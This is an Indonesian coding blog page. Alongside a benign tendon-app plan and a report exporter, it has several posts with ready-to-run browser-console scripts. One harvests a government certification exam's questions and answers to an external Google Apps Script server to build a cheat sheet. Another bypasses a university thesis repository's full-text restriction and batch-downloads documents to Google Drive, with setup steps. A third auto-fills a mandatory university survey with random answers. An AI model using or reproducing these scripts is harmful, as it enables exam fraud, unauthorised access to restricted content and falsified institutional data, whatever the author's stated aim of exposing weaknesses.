Tampilkan postingan dengan label Coding. Tampilkan semua postingan
Tampilkan postingan dengan label Coding. Tampilkan semua postingan

Sabtu, 02 Mei 2020

Starting project | Tendon Strand Position

TENDON STRAND POSITION.

Semacam aplikasi iterasi tendon parabolik pada girder dengan output koordinat.

Umum

Tendon prategang adalah serat baja yang ditanam pada beton prategang yang kemudian di beri gaya prategang. Tendon umum digunakan di dunia sipil dan pada beberapa proyek besar seperti jembatan hingga gedung. 

Didalam perhitungan prategang, posisi tendon memegang peranan penting dalam menentukan stress yang terjadi pada penampang balok prategang. Susunan tendon yang akurat dapat memeberikan informasi dimana titik berat tendon guna menghitung stress pada penampang. Karena stress pada penampang termasuk dalam salah satu alat kontrol dizinkan atau tidaknya penggunaan balok prategang, oleh karena itu penentuan titik posisi tendon secara akurat menjadi sesuatu yang penting.

 Selain penjelasan diatas kejelasan informasi titik tendon juga menjadi acuan dasar pemasangan ducting atau selongsong sebelum pengecoran dilakukan (pada kasus pasca tarik). kemudian untuk perencanaan menggunakan balok precast segmental, perencanan perlu memberikan informasi yang jelas tentang titik posisi selongsong pada masing masing muka segmental balok.

Dengan semua penjelasan diatas sepertinya sudah cukup mendasari latar belakang pembuatan aplikasi ini.

Penjelasan Singkat Aplikasi

Sistem aplikasi

Aplikasi akan coba ditulis menggunakan bahasa pemrograman Javascript yang diruning pada server node. namun kedepannya akan coba dikolaborasikan dengan UI dari web browser.

Rutin

Secara garis besar aplikasi ini akan menyelesaikan permasalahan dengan runtut sebagai berikut:
  • Menyelesaikan permasalahan lengkung parabola dengan metode tiga variabel.
  • Mendeteksi kelompok tendon yang saling kontra dan titik awal kontra. 
  • Menyelesaikan kelompok tendon yang saling kontra dengan lengkung parabola secara horisontal.

Alamat projek

Projek ini akan kami open publik. Silahkan kunjungi github kami disini. Tidak menutup kemungkinan kami juga membutuhkan kolaborasi. 

Senin, 27 Mei 2019

Cont*kan | SIBIM*

Background

Akhir akhir ini kami mengikuti pelatihan sertifikasi kualifikasi pengalaman. Pelatihan ini menggunakan sistem jarak jauh atau biasa disebut Distance learning. Pelatihan ini dilakukan oleh pemerintah yang mengharuskan setiap individu yang mengikuti pelatihhan ini untuk melakukan registrasi dan ujian di akhir masa pelatihannya.

Damn...
Ingin ku meriview seluruh kelemahan sistem ini. mulai dari soal ujian yang dapat diulas, hingga variasi soal yang kurang dinamis. Dengan mengerjakan bersama dua atau tiga orang, semua soal didalam database server dapat diketahui. Sehingga besar kemungkinan peserta dapat lulus dengan nilai dan waktu yang tidak masuk akal.

Pembahasan


Tak sampai hati, muncul niat jahat untuk melakukan sedikit keusilan. jika bisa kami dapatkan record soal dan jawaban yang benar dari ulasan soal. Kedepannya dapat kami petakan semua soal dan membuat contekan kecil untuk peserta berikutnya.

diam diam kami tulis sebuah skrip kecil untuk scraping semua soal melalui penelusuran sampel ulasan dan  membuat server kecil kecilan untuk memeriksa semua jawaban.

berikut adalah scrip untuk scraping pada ulasan:

var form = $(".formulation"),
	base = "https://script.google.com/macros/s/AKfycbyqyttZLmZDikFunTSaKDEJ9Axn_IdI26ZJWD6AZW6IjuREvHZO/exec",
	colect = [];
for(var x=0; x<form.length; x++){
	try{
        var pert = $(".qtext")[x].getElementsByTagName("p")[0].innerText;
    } catch(err){
        var pert = $(".qtext")[x].innerText;
    }
	try{
		var corr = form[x].getElementsByClassName("correct")[0].innerText.slice(3);
		var state = true;
	}catch(err){
		var corr = null;
		var state = false;
	}
	var node = {
		t : state,
		q : pert,
		a : corr
	};
	colect.push(node);
}
$.get(base,{m:"ulas",arr:JSON.stringify(colect)},function(a){console.log(a)});

berikut adalah script melakukan pengecekan jawaban:


var form = $(".formulation"),
	base = "https://script.google.com/macros/s/AKfycbyqyttZLmZDikFunTSaKDEJ9Axn_IdI26ZJWD6AZW6IjuREvHZO/exec",
	colect = [];
for(var x=0; x<form.length; x++){
	try{
        var pert = $(".qtext")[x].getElementsByTagName("p")[0].innerText;
    } catch(err){
        var pert = $(".qtext")[x].innerText;
    }
	var node = {
		q : pert
	};
	colect.push(node);
}
//$.get(base,{m:"tanya",arr:JSON.stringify(colect)},function(a){console.log(a)});
var ad = JSON.stringify(colect);
window.open(base+'?m=tanya&arr='+encodeURI(ad), '_blank')

Kesimpulan

  • skrip diatas bermula dari kelemahan suatu sistem.
  • sistem pelatihan jarak jauh yang dimaksud diatas dapat di ekploitasi melalui skrip diatas.
  • fungsi masing-masing skrip diatas secara berurutan adalah mengambil sampel soal juga jawaban yang benar dari ulasan soal dan crosscheck jawaban dari pertanyaan yang ada.

Sebagai penutup, postingan ini dibuat untuk memberitahukan kelemahan suatu sistem. tidak bermaksud menjatuhkan atau memberi kemudahan pada suatu pihak. Bijaklah dalam menggunakan teknologi.

Salam.

Kamis, 25 April 2019

Auto Report | SP Column

BACKGROUND

belakangan ini tim kami sedang disebukan dengan urusan proyek. Namun disela-sela pembuatan laporan, kami dapati piranti kami rusak. laporan yang seharusnya sudah di print out menjadi terbengkalai karena spoolerService rusak.
FYI: spoolerService itu bagian pendistribusi file cetak ke printer.
Tidak hanya satu printer saja, bahkan publish PDF saja tidak bisa berjalan. Ugh.. kami sangat terpukul. hmm pekerjaan kami pending hanya karena masalah sepele.

SP-Column program yang kami gunakan untuk mengerjakan laporan struktur ini menghasilkan output yang dapat memberikan masalah kompleks. kompleks dalam artian ketika report tidak di cetak dari software langsung akan sangat merepotkan. karena kebetulan versi yang kami gunakan masih built 5.0, sehingga report yang diberikan masih berbentuk text/plain. hal ini sangat berefek buruk ketika text dipindah kedalam msWord. Dikarenakn dari program SP-Column output yng diberikan telah diatur sedemikian rupa mengikuti style yang mereka buat, ketika style yang digunakan di msWord tidak ssuai dengan style kunci dari SP-Column maka hasil report akan berantakan.

RUMUSAN

Menindaklanjuti hal diatas dan tidak ingin hal tersebut terulang untuk kedua kalinya, kami berpikir jalan keluar yang paling paripurna
"Bagaimana laporan kami dapat terpublish tanpa melalui spoolerService?"
Kami mulai berpikir untuk membuat exporter, akhirnya kami putuskan untuk memilih platform googleDoc sebagai exporter.

PEMBAHASAN

GoogleDoc dipilih karena selain kemampuannya yang mirip dengan msWord, googleDoc juga mendukung API pemrograman. Sehingga mudah bagi kami untuk membuat otomatisasi pekerjaan.

GoogleDoc dan Appsscript

Selain GoogleDoc, kami gunakan Appsscript sebagai bahasa pemrograman. mengapa, karena mereka berdua sudah sering kali dikawinkan. ahahaha.
Selain NodeJs, java, ruby, python, dan sebangsaanya, Appsscript merupakan bahasa bawaan googleDoc. Sehingga banyak API yang langsung interkoneksi. Selain itu Appsscript juga memiliki kemampuan handling server sehingga tidak perlu repot lagi untuk mencari hosting aplikasi.

UInterface

OK langsung masuk ke inti pembahasan. aplikasi ini dapat diakses melalui url berikut:
http://bit.ly/autoReportSPCol
dan berikut adalah tampilan dasar dari applikasi ini.
Benar... sangat minimalis sekali. Untuk membuat report cukup empat tahapan yang perlu dilakukan:
  1. Masukan tipe penampang kolom. eg: K3
  2. Masukan result hasil SP-Column 
    copy semua hasilnya/ letakan kursor di awal result, gunakan Shift+Ctrl+End kemudian copas;
  3. Pada seksi ini dapat ditambahkan gambar dengan hanya copas biasanya kami gunakan printscreen. hasil pritscreen dapat langsung di paste pada kotak berikut;
  4. kemudian submit untuk menyusun report kemudian dan tunggu hingga tampilan berubah seperti gambar berikut;
Terakhir klik Download PDF untuk mengunduh file report.
berikut adalah step-step pengoprasian Auto Report | SP Column. Untuk video tutorial mungkin akan kami upload pada post berikutnya

Salam

Kesimpulan

dari semua pembahasan diatas dapat ditarik:
  • Aplikasi ini merupakan alternatif pembuatan report software SP-Column;
  • Untuk menjalankannya dibutuhkan SP-Column v 5.0 atau yang lebih tinggi.
  • Berikut link menuju aplikasi http://bit.ly/autoReportSPCol
  • Output Aplikasi ini adalah file PDF

Minggu, 20 Januari 2019

Bypass unsyiah batch fulltext Literature | Video Demonstration

Batch Fulltext Literature. Javascript, GAS,  & GoogleDrive | etd.Unsyiah

Preliminary

Tips ini ditulis semata-mata sebagai alat bantu mendownload hasil disertasi dari web unsyiah, ujicoba penetrasi web melalui konsol, dan sebagai peringatan atas lubang di sistem unsyiah.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, Google Apps Script, dan bantuan Google Drive yang mana javascript kami inject menggunakan konsol bawan browser kemudian di proses melaui side server yang dibangun menggunakan Google Apps Script.

Link

link untuk script dan penjelasanya dapat dilihat di Artikel Terkait. "Bypass unsyiah batch fulltext Literature | Console Penetrate"

Content

Pada video ini akan didemonstrasikan Side server versi awal V 0.0.01. cara membangun Side server dengan Apps script (Web app). dan penetrasi langsung kedalam etd unsyiah.


Sabtu, 19 Januari 2019

Bypass unsyiah batch fulltext Literature | Console Penetrate

Beginilah jika sudah di ujung semester. Laptop, usb, hdd, dan Drive penuh dengan jurnal dan literatur. Pikiran juga sudah kabur kemana mana mikir proposal. 
Jadi apakah ada website yang sedia banyak refrensi literatur?
Jawabanya banyak... Gugel aja. Tapi tidak semua website menyediakan secara fulltext.  Jadi sembari mencari Literatur, selalu muncul di benak untuk mencermati setiap sistem informasi suatu repositori. BENAR SAJA, telah kami temukan satu celah pada salah satu web repositori universitas di Banda Aceh.

Batch Fulltext Literature. Javascript, GAS,  & GoogleDrive | etd.Unsyiah

Preliminary

Tips ini ditulis semata-mata sebagai alat bantu mendownload hasil disertasi dari web unsyiah, ujicoba penetrasi web melalui konsol, dan sebagai peringatan atas lubang di sistem unsyiah.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, Google Apps Script, dan bantuan Google Drive yang mana javascript kami inject menggunakan konsol bawan browser kemudian di proses melaui side server yang dibangun menggunakan Google Apps Script.

Ide Awal

  • Keperluan akan jurnal dan literatur. Terlebih resources yang fulltext;
  • Sistem yang bolong pada website unsyiah mendorong keinginan untuk exploitasi;
  • Sebagai peringatan pada admin unsyiah.

Subject

adalah website disertasi unsyiah, atau tepatnya http://etd.unsyiah.ac.id

Metode

Secara garis besar metode yang digunakan dapat dibaca pada Preliminary. 
Kemudian untuk script yang digunakan akan kami ulas pada subab dibawah. Namun sebelumnya perlu disiapkan akun Google drive dan folder khusus untuk menampung hasil Batch.

Google Drive
pada google drive perlu disiapkan folder khusus yang mana didalamnya akan digunakan sebagai root dari side server yang akan dibangun menggunakan Apps Script. Kemudian folder receiver dan catat id_drive dari folder receiver!.

Apps Script (Side Server)
Sebelumnya google drive antum harus sudah terhubung dengan addon Apps Script. jika blum terhubung silahkan hubungkan terlebih dahulu, caranya silahkan googling.
Jika fitur Apps Script sudah terhubung, silahkan buat script baru didalam root folder yang sebelumnya telah dibuat.
Copy-paste script dibawah kedalam jendela Apps Script kemudian save.


/*---------------------------------------------------------------------------------------
ByPass_unsyiah.ac.id_repository v 0.0.01
   ByPass unsyiah server and scraping certain content
   Google AppsScript
   Author : GB_Sources
----------------------------------------------------------------------------------------*/

function doGet(e){
  try{
  var recv_id = e.parameter.id,
      base = e.parameter.url,
      n = e.parameter.n,
      ms ="";
    if(recv_id == undefined){ms +="\n please Declare following: \n - id = <gDrive_folder_id> \n - url = <raw_byPassUrl> \n - n = <number_of_page>"}
    batch(n,base,recv_id);
    return ContentService.createTextOutput("200 "+ms)
  }catch(err){
  return ContentService.createTextOutput(err.message);
  }
}


function addFile(n,uri,recv_id) {
  var dr = DriveApp.getFolderById(recv_id),
      cont = UrlFetchApp.fetch(uri).getBlob(),
      f_id = dr.createFile(cont).setName(addZero(n)).getId();
  return f_id;
  
}

function batch(n,uri,recv_id,nt){
  var ms ="";
  try{
    for(var x = 1; x<=n;x++){
      
      var itm = urut(x),
          url = uri+"-"+itm+'.png';
      var f_id = addFile(x,url,recv_id);
      ms +=itm+' ['+f_id+'] '+url+' :success \n';
      
    }
  }catch(err){Logger.log(err.message);
              ms += "error: "+err.message;
             }
  DriveApp.getFolderById(recv_id).createFile("log.txt", ms);
}

function addZero(x){

    if(x < 10){
      return "00"+x;
    }
    
    if( x < 100){
      return "0"+x;
    }
    if( x > 99){
      return x;
    }

}

function urut(x){

    if(x < 10){
      return "0"+x;
    }   
  else{
      return x;
    }
}


Selanjutnya, Deploy script as web app caranya dengan klik Publish > Deploy as web app...
Ikuti langkahnya hingga selesai. Jika antum dimintai otorisasi dan muncul app tidak dipercaya, Just select "Advance" > goto yourscript and "allow";
Kemudian catat  web app Url untuk langkah selanjutnya.

Javascript (console)
Tugas javascript disini hanya untuk mengirim informasi awal kepada side server yang telah dibuat. untuk script yang digunakan adalah sebagai berikut:


//Scraping data
d=document;
ind = d.getElementsByName("page")[0];
st = d.styleSheets[8].rules[0].style.backgroundImage;
base = st.slice(5,st.length-9);



//initServer
var Drive_id ="<Drive_id>", //fill with google received drive folder_id
server ="<Server_appsScript_Url>", //SideServerUrl don't change it
param = {id:Drive_id,url:base,n:ind.length};

$.get(server,param,function(data){console.log(data)});



Sesuaikan beberapa script berikut:
  • <Drive_ID> dengan id_drive dari folder receiver yang telah dibuat.  
  • <Server_appsScript_Url> dengan web app Url yang didapatkan sebelumnya.
Seluruh amunisi telah siap.

Eksekusi

Dalam tahap ini antum sudah harus menemukan target literatur yang akan di batch, jadi silahkan berselancar di etd usyiah terlebih dahulu. Jika sudah ditemukan, langkah selanjutnya adalah masuk pada mode "Baca full text". Lalu buka web console dengan F12 dan masukan javascript kemudian enter. Tunggu hingga console memberikan respon dan buka folder receiver yang telah dibuat.

Kesimpulan

  • Terdapat lubang pada sistem etd unsyiah;
  • Tips/trik ini ditulis untuk menunjukan lubang pada sistem unsyiah, dan menguji hal apasajakah yang dapat di eksploitasi dari lubang tersebut;
  • Script diatas dapat digunakan untuk mendownload dan backup fulltext literatur dari etd unsyiah;
  • Batch Output akan ditampung pada folder receiver yang telah dibuat pada google drive, dan tergantung pada id_drive yang dimasukkan.

Video demonstrasi akan diunggah pada postingan berikutnya.
Salam


Auto Angket js | Video Demonstration

JAVASCRIPT AUTO ANGKET | SiamikUPNVJ

Preliminary

Tips ini ditulis semata-mata hanya untuk Iseng, dan ujicoba penetrasi web melalui konsol.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, yang kemudian kami inject menggunakan konsol bawan browser.

Link

link untuk script dan penjelasanya dapat dilihat di Artikel Terkait.

Content

Pada video ini akan didemonstrasikan script versi awal V 0.0.01. dimana pada script ini blum memiliki fitur random respons.


Jumat, 18 Januari 2019

Auto Angket js | Console Penetrate

Hilih mau ujian, cetak kartu aja masukin angket...
Antum males...? Sama saya juga.


JAVASCRIPT AUTO ANGKET | SiamikUPNVJ

Preliminary

Tips ini ditulis semata-mata hanya untuk Iseng, dan ujicoba penetrasi web melalui konsol.
Merupakan suatu script yang kami tulis menggunakan bahasa pemrograman javascript, yang kemudian kami inject menggunakan konsol bawan browser.

Ide Awal

Script ini ditulis akibat dari:
  • Kegabutan dan kemalasan;
  • Hari ujian yang semakin dekat, dan tuntutan kartu Ujian;
  • Persyaratan pengisian angket pra cetak kartu ujian pada Website Univ;
  • Website Univ yang menggunakan server *.asp (kami masih bingung mencari celah *.asp);
  • Angket yang Overbuilt, terlalu banyak;
Bahkan dari point terakhir sempat muncul issue bahwa 
"asp server dari angket ini tidak menerima respon yang negatif. sehingga pertanyaan pada angket dengan respon negatif akan diulang kembali".
Berangkat dari itu semua kami ingin buktikan kebenaran issue diatas dan sekalian built script yang bisa mempercepat proses pengisian angket.

Subject

Subjek dari penetrasi ini adalah website sistem informasi akademik UPNVJ. Tepatnya pada page "PENDAFTARAN UAS".

Versi 0.0.00

setelah mengetahui apa ide awal dan subject dari pembuatan script ini, perlu diketahui bahwa script yang ditulis pada tutor/tips ini bukanlah versi awal.berikut adalah versi terbaru yang sudah kami kembangkan dan perbaiki, sedangkan script awalnya hanya memiliki kemampuan untuk mengisi salah satu opsi pertanyaan saja. pada script versi awal hasil yang diberikan sangatlah statis.
V 0.0.01
DOM salah satu opsi.
sangat statis. hasil respon hanya satu opsi saja.
V 0.0.02
DOM dua opsi dengan random number.
respons yang diberikan memilik harga yang acak.
Lates Version
versi terbaru script ini adalah V 0.0.02, dengan kemampuan dapat dilihat diatas.

 Metode

DOM
Proses seleksi pada dokumen ini akan melibatkan querrySelectorAll yang memungkinkan script dapat meng akses salah satu elemen dokumen dengan spesifikasi tertentu. Rule yang diberikan adalah seleksi pada objek Input dengan value tertentu. Sehingga kurang lebih akan terlihat sebagai berikut:

document.querySelectorAll('input[value="tertentu"]')

Nah dalam dokumen ini pada tiap tiap pertanyaannya memiliki empat opsi. kemudian pada sesi ini akan dipilih dua yaitu: Tidak Setuju, dan Setuju. sehingga akan terlihat:

document.querySelectorAll('input[value="Tidak Setuju"]')

Rand Reaction
Random adalah unsur utama pada versi terbaru ini. secara garis besar prosesnya adalah memilih dua kemungkinan dengan menggunakan angka random yang dibulatkan keatas. secara umum logika yang digunakan kurang lebih sebagai berikut:

if(Math.floor(Math.random()*2)==0){console.log("tidak setuju")}else{console.log("Setuju")}

Jika scrip diatas dijalankan maka akan memberikan hasil random antara "tidak setuju", dan "setuju".

Checked Checkbox
Karena tipe input yang diberikan adalah checkbox, maka kita perlu lakukan adalah mencoret salah satu opsi yang tersedia. jika dituliskan menggunakan javascript kurang labih adalah sebagai berikut:

var inpt = ...; //objek input kita
inpt.checked=true;

dengan merepresentasikan inpt sebagai objek elemen checkbox yang akan kita isi maka inpt akan terpilih(checked).

Looping
pada kasus ini pengulangan atau looping dilakukan sebanyak objek pertanyaan yang tersedia.

sehingga jika diaplikasikan dari semua metode diatas akan didapatkan script berikut:

/*---------------------------------------------------------------------------------------
Auto angket Siamik UPNVJ
   Javascript console
   Author : GB_Sources
----------------------------------------------------------------------------------------*/

d=document;
sel=[];
sel.push(d.querySelectorAll('input[value="Sangat Setuju"]'));
sel.push(d.querySelectorAll('input[value="Setuju"]'));
ll=sel[0].length
for(var x=0;x<ll;x++){
 var a = Math.floor(Math.random()*2);
 sel[a][x].checked=true;
}
var sc = document.getElementById('securityCode');
sc.scrollIntoView();
sc.focus();

script diatas kemudian di copy-paste kedalam konsol browser dan dijalankan. sedangkan script:
var sc = document.getElementById('securityCode');
sc.scrollIntoView();
sc.focus();

Sengaja ditambahkan untuk mempercepat transisi page pada angket.

Kesimpulan

  • Script diatas dibuat guna pembuktian issue sekaligus tools guna mempercepat pengisian angket pada website siamik UPNVJ;
  • Dengan menggunakan script diatas, antum dapat dengan cepat mengisi angket;
  • Hasil respons yang diberikan adalah random antara "Tidak Setuju", dan "Setuju" dengan presentase respons yang random juga;
Video demonstrasi akan unggah pada postingan berikutnya.
Salam.